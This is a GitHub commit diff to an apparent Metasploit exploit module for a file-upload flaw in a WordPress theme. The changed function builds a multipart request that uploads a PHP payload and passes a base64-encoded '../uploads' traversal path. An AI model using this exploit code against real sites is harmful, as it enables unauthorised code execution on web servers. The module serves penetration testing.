Skip to content

Commit a7cd599

Browse files
committed
Add encoding of the upload path into the module
1 parent 5660c12 commit a7cd599

File tree

1 file changed

+8
-1
lines changed

1 file changed

+8
-1
lines changed

modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -63,8 +63,15 @@ def generate_mime_message(payload, payload_name)
6363
data = Rex::MIME::Message.new
6464
target_ip = IPSocket.getaddress(rhost)
6565
field_name = Rex::Text.md5(target_ip)
66+
67+
# In versions 1.2 and 1.3 of the theme, the upload directory must
68+
# be encoded in base64 and sent with the request. To maintain
69+
# compatibility with the hardcoded path of ../uploads in prior
70+
# versions, we will send the same path in the request.
71+
upload_path = Rex::Text.encode_base64('../uploads')
72+
6673
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{field_name}\"; filename=\"#{payload_name}\"")
67-
data.add_part('Li4vdXBsb2Fkcw==', nil, nil, 'form-data; name="upload_path"')
74+
data.add_part(upload_path, nil, nil, 'form-data; name="upload_path"')
6875
data
6976
end
7077

0 commit comments

Comments
 (0)